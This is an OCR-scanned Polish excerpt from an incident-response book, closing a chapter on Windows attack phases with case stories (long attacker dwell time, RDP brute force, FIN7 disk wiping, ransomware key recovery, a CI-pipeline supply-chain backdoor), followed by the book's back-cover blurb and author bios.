przypadki, w ktérych niektére grupy testowaty nowe techniki ataku w sieciach ofiar.
Kiedys braliSmy udziat w reagowaniu na incydent, gdzie czas przebywania atakujacych
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w systemie (okres od wtamania do wykrycia) przekraczat 5 lat. Grupa ta wykorzystata
osiem réznych mechanizméw utrzymywania dostepu i zaatakowata prawie kazdy plik
wykonywalny w systemie — na przyktad podmienita legalne pliki binarne Javy i niektore
pliki specyficzne dla Windowsa. Analiza przeptywu sieciowego ujawnita, Ze jej okresy
aktywnoSci zaczynaty sie o 9 rano czasu lokalnego, z przerwami na lunch i koncem dnia
pracy o 18. Nawet $cisle tajne dane byty stale wykradane. Identyfikacja wszystkich taktyk,
technik i procedur zajeta ponad miesigc, a czasami pomyst catkowitego zniszczenia in-
frastruktury i zbudowania jej od nowa wydawat sie tatwiejszy niz usuwanie wszystkich
$ladow atakujacych.

Skutki

Dotarli$my do ostatniego etapu ataku. Jak wspomnieliSmy w rozdziale 1., cele r6znia
sie w zalezno$ci od atakujacego. Mniej zaawansowani cyberprzestepcy wykorzystuja
przejete zasoby do kopania kryptowalut, twércy ransomware daza do zaszyfrowania
danych w celu wywierania presji, niektore grupy APT wolg niszczy¢ dane, utrudnia¢ odzy-
skiwanie systeméw i powodowac ataki typu odmowa ustugi, a grupy motywowane finan-
sowo beda préobowaty dokonac transferu srodkéow.

Przejmowanie zasobow nie ogranicza sie wytacznie do kopania kryptowalut. Zaobser-
wowali$my przypadki, w ktérych intruzom udato sie wykorzysta¢ narzedzie masscan
do przeprowadzania atakdéw typu brute force na konta innych serweréw dostepnych
publicznie z opublikowanym RDP z uzyciem predefiniowanego stownika poswiadczen.
Grupy motywowane finansowo moga réwniez wysytac tysiagce e-maili do innych ofiar
w celu zdobycia zaufania. Pamietamy kampanie o nazwie Wave, w ktorej atakujacy z po-
wodzeniem wtamali sie do organizacji. Oferowali ustugi ksiegowe innym firmom, a nastep-
nie wystali zto§liwy e-mail do ponad 100 organizacji, grozgc im wniesieniem pozwu za
uchylanie sie od zaptaty za ustugi. W rezultacie ponad 40 odbiorcéw otworzyto wiadomo$¢
i zainstalowato narzedzie do zdalnej administracji, ktére pozwolito cyberprzestepcom
na dalsze atakowanie innych organizacji.

Grupa FIN7 czesto uzywata narzedzia do czyszczenia obszaré6w MBR/GPT, aby sktoni¢
administratoréw IT do samodzielnego wymazania dysku, co uniemozliwiato im odzy-
skanie dowodow.

Jesli chodzi o grupy ransomware, stosuja one mechanizmy szyfrowania plikéw lub ca-
tych dyskéw. Mielismy ciekawy przypadek, w ktdrym badali$my sytuacje, gdzie nieznany
sprawca umies$cit plik tekstowy z hastami w folderze Downloads, ktéry zostat prze-
chwycony przez system DLP klienta. Po zaszyfrowaniu gtéwnych endpointéw udato
nam sie znaleZ¢ klucz w logach systemu DLP i skutecznie odszyfrowac¢ wszystkie dane.
Co wiecej, ze wzgledu na niski poziom zaawansowania intruza byli$my w stanie znalez¢
jego Slady i przekazac je organom $cigania. Ostatecznie sprawca zostat aresztowany.

Nie zapominajmy o manipulacji danymi. Poza procesem transferu srodkéw (ktory jest
konsekwencjg manipulacji danymi ptatnosci) atakujacy mogg posung¢ sie do umieszczenia
furtki w produkcie, ktéry organizacja oferuje swoim klientom.
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Studium przypadku

Przyktady umieszczania furtek w produktach sa liczne i dobrze udokumentowane.
Miat miejsce przypadek, gdy duzy i znany dostawca zintegrowanego srodowiska
programistycznego (ang. integrated development environment — IDE) zostat zaatako-
wany przez niezidentyfikowang grupe APT (niestety klient odmoéwit dalszej wspétpracy
z nami i nie byliSmy w stanie zebra¢ wiecej informacji o taktykach, technikach i proce-
durach w celu doktadniejszej identyfikacji). Wskutek ataku do kompilacji IDE zostaty
wprowadzone bardzo zaawansowane trojany. Jak do tego doszto? Ot6z potok ciagtej
integracji (ang. continuous integration — CI) byt skonfigurowany z wirtualnym hiper-
nadzorca obstugujacym wiele maszyn wirtualnych w srodowiskach Docker. Potok CI
uruchamiat sie po wystaniu kodu do gatezi deweloperskiej repozytorium, dostarczajac
go do kontenera Docker, wykonujgc kompilacje, a nastepnie pobierajac artefakty i umiesz-
czajac je w repozytorium artefaktéw. Atakujacym udato sie przeja¢ kontrole nad wirtual-
nym hipernadzorcg i umiesci¢ tam backdoor, monitorujacy wszystkie zadania kompi-
lacji za pomoca narzedzi VMware Tools i wywotan API Docker Engine. Gdy uruchamiano
zadanie kompilacji, backdoor wstrzykiwat dodatkowa warstwe do kontenera Docker
ze zto$liwym kodem, ktéry byt kompilowany do kornicowego obrazu, a potem przechowy-
wany w repozytorium artefaktow.

Dlaczego o tym wspominamy? Ot6z ataki na tanicuchy dostaw sg niezwykle wyrafino-
wane i wymagajg od atakujgcych ogromnego wysitku. Muszg oni zidentyfikowa¢ kluczowe
zasoby, zbadac¢ obecne procesy i architekture rozwigzan, a nastepnie opracowac spo-
s6b na bezproblemowe whbudowanie ztosliwego kodu w istniejacy produkt.

Podsumowanie

W tym rozdziale przedstawili$my kompleksowy przeglad typowych faz ataku cyberne-
tycznego, z jakimi mierzg sie organizacje w kontekscie systeméw Windows. Caty pro-
ces ataku dzieli sie na trzy fazy, co utatwia zrozumienie nawet najbardziej ztozonych
incydentow. Szczegdtowo omdwiliSmy kazda faze ataku, wzbogacajac je o techniki z bazy
MITRE ATT&CK®. Podali$my tez rézne przyktady sposobu myslenia i dziatania cyberprze-
stepcow na poszczegdlnych etapach wlamania, wraz z ogélnym przegladem ich narze-
dzi. W catej ksigzce znajdziesz wiele przyktadow z zycia wzietych, szczegdlnie z incy-
dentéw bezpieczenstwa, ktérymi sie zajmowaliSmy.

Ten rozdzial opisuje szereg istotnych aspektow, ktdre pomogg Ci zrozumie¢ nature cy-
beratakéw, ich poszczegdlne etapy oraz narzedzia i techniki powigzane z modelem MITRE
ATT&CK, a takze ujednolicony tancuch ataku w przypadku zaawansowanych cyberatakow.
Pozwala to skrécié¢ czas potrzebny na odkrycie lokalizacji ataku. W dalszej cze$ci ksigzki
omdwimy, jak reagowac na te ataki w mozliwie najkrétszym czasie.

Majac te wiedze o atakach cybernetycznych i dziataniach cyberprzestepcéw, w nastepnym
rozdziale zajmiemy sie opracowaniem podejscia do reagowania na incydenty.

Kup ksigzke Pole¢ ksigzke
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Budowanie reputacji zajmuje dwadziescia lat,
a kilka minut cyberincydentu ja niszczy.
Stéphane Nappo, francuski ekspert do spraw bezpieczeristwa informaciji

W czasach wyrafinowanych cyberatakéw nie mozesz sie ogranicza¢ do standardowych procedur.
Poza codzienna rutyna musisz ciagle udoskonala¢ strategie reagowania na incydenty, identyfikowac
wykorzystane |uki i stabe punkty, a rownoczesnie usuwac agresora z zaatakowanej sieci. Jakiekol-
wiek zaniechania lub btedy moga sie okaza¢ bardzo kosztowne.

Dzieki tej ksiazce nauczysz sie skutecznie wykrywac cyberataki wymierzone w infrastrukture oparta
na systemie Windows i dowiesz sig, jak na nie reagowaé. Zaczniesz od zapoznania sie ze wspot-
czesnymi technikami cyberatakéw, z metodami dziatania napastnikéw i ich motywacjami. Poznasz
szczegoty kazdej fazy procesu reagowania — od wykrycia, przez analize, az po odzyskiwanie danych —
a takZe niezbedne narzedzia, techniki i strategie. W miare postepéw zgtebisz tajniki odnajdywania
cyfrowych sladéw na endpointach. Na koniec przeanalizujesz sprawdzone podejscia do wykrywania
zagrozen i poznasz strategie aktywnej detekcji incydentow, jeszcze zanim agresor osiagnie swoj cel.

Najciekawsze zagadnienia:

» strategie i procedury sledcze w cyberbezpieczeristwie

* analiza endpointow pracujacych w systemach Windows

= analiza infrastruktury i skuteczne strategie zapobiegania incydentom

* naprawa szkod wyrzadzonych podczas atakow

* procesy identyfikacji zagrozen

e procedury sporzadzania raportéw o incydentach

Anatoly Tykushin opracowat liczne programy szkoleniowe z zakresu reagowania na incydenty,

a takie analizy sledczej sieci. Ma rowniez doswiadczenie w programowaniu mikrokontroleréw
w jezyku C i asemblerze.

Svetlana Ostrovskaya prowadzita warsztaty z zakresu zarzadzania kryzysowego w cyberbezpie-
czenstwie. Jest autorka lub wspétautorka artykutéw i ksiazek poswieconych informatyce sledczej
i reagowaniu na incydenty.
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